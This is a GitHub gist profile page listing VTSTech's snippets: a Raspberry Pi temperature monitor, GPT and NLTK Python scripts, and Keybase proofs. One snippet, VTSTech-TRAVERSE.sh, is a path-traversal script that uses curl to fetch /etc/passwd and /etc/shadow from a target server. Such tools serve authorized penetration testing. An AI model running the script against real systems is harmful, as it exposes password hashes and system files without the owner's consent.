Skip to content

Instantly share code, notes, and snippets.

View VTSTech's full-sized avatar

Nigel Todman VTSTech

View GitHub Profile
@VTSTech
VTSTech / rpi.php
Last active December 19, 2024 21:27
Raspberry Pi RPi Temperature Monitor by VTSTech
<html>
<!-- If you get /dev/vcio error then 'sudo usermod -aG video www-data' -->
<?php
// Handle theme selection and refresh rate from GET parameters
$isDarkMode = isset($_GET['dark_mode']) ? ($_GET['dark_mode'] === 'on') : true; // Default to dark mode
$refreshRate = isset($_GET['refresh_rate']) && is_numeric($_GET['refresh_rate']) ? (int)$_GET['refresh_rate'] : 10; // Default to 10 seconds
// Define styles for light and dark themes
if ($isDarkMode) {
$bgColor = '000000';
@VTSTech
VTSTech / VTSTech-TRAVERSE.sh
Last active October 14, 2024 14:31
VTSTech-TRAVERSE v0.3 - www.vts-tech.org
#!/bin/bash
echo "VTSTech-TRAVERSE v0.3 - www.vts-tech.org"
IP="$1"
PORT="$2"
OUTPUT_DIR=$(pwd)
TRAVERSE="../../../../../../../../../../../../../../../../../../../.." #modify as needed
PARAMS="/" #modify as needed
curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/passwd -o ./etc/passwd
curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/shadow -o ./etc/shadow
curl --output-dir $OUTPUT_DIR --create-dirs --path-as-is http://$IP:$PORT$PARAMS$TRAVERSE/etc/aliases -o ./etc/aliases
### Keybase proof
I hereby claim:
* I am VTSTech on github.
* I am vtstech (https://keybase.io/vtstech) on keybase.
* I have a public key whose fingerprint is 008C AB70 8D0F F529 C091 26BC 53D6 76EE 6E7D 4CCC
To claim this, I am signing this object:
@VTSTech
VTSTech / VTSTech-PERP.py
Last active May 3, 2024 01:17
VTSTech-PERP - Python script that computes perplexity on GPT Models
# Program: VTSTech-PERP.py 2023-04-17 6:14:21PM
# Description: Python script that computes perplexity on GPT Models
# Author: Written by Veritas//VTSTech ([email protected])
# GitHub: https://github.com/VTSTech
# Homepage: www.VTS-Tech.org
# Use a 'train.txt' for it to predict with. Any large english text will do
# pip install torch argparse transformers colorama
import torch
import argparse
import time
@VTSTech
VTSTech / VTSTech-GPT.py
Last active January 28, 2025 18:02
VTSTech-GPT - Generate text with Cerebras GPT pretrained and Corianas finetuned models
# Program: VTSTech-GPT.py 2025-01-28 1:02:59 PM
# Description: Python script that generates text with Cerebras GPT pretrained and Corianas finetuned models
# Author: Written by Veritas//VTSTech ([email protected])
# GitHub: https://github.com/VTSTech
# Homepage: www.VTS-Tech.org
# Dependencies: transformers, colorama, Flask
# pip install transformers colorama flask
# Models are stored at C:\Users\%username%\.cache\huggingface\hub
import argparse
import time
@VTSTech
VTSTech / VTSTech-COVID19.py
Last active March 16, 2020 14:27
COVID-19 JHU.EDU CSSE Data Analytics by VTSTech (www.VTS-Tech.org)
#Moved to GitHub https://github.com/Veritas83/VTSTech-COVID19.py
@VTSTech
VTSTech / VTSTech-NLTK.py
Last active May 3, 2024 01:17
VTSTech-NLTK Script v0.43
#NLTK Script v0.43 2020-03-14 12:16:31 AM
#Written by VTSTech ([email protected])
#Various functions inspired by code from sentdex/pythonprogramming.net
#https://pythonprogramming.net/tokenizing-words-sentences-nltk-tutorial/
#Various functions inspired by code from Natural Language Processing with Python
#by Steven Bird, Ewan Klein and Edward Loper - http://www.nltk.org/book/ch01.html
import sys, nltk, os, string, random
from nltk import pos_tag
from nltk.tokenize import sent_tokenize, word_tokenize, SpaceTokenizer, PunktSentenceTokenizer
@VTSTech
VTSTech / keybase.md
Created March 8, 2020 20:00
keybase.md

Keybase proof

I hereby claim:

  • I am veritas83 on github.
  • I am vtstech (https://keybase.io/vtstech) on keybase.
  • I have a public key ASCIgxHBXf_NtNTs02HkHJFQQh7WBlJlb_jJS0glcMDnnQo

To claim this, I am signing this object: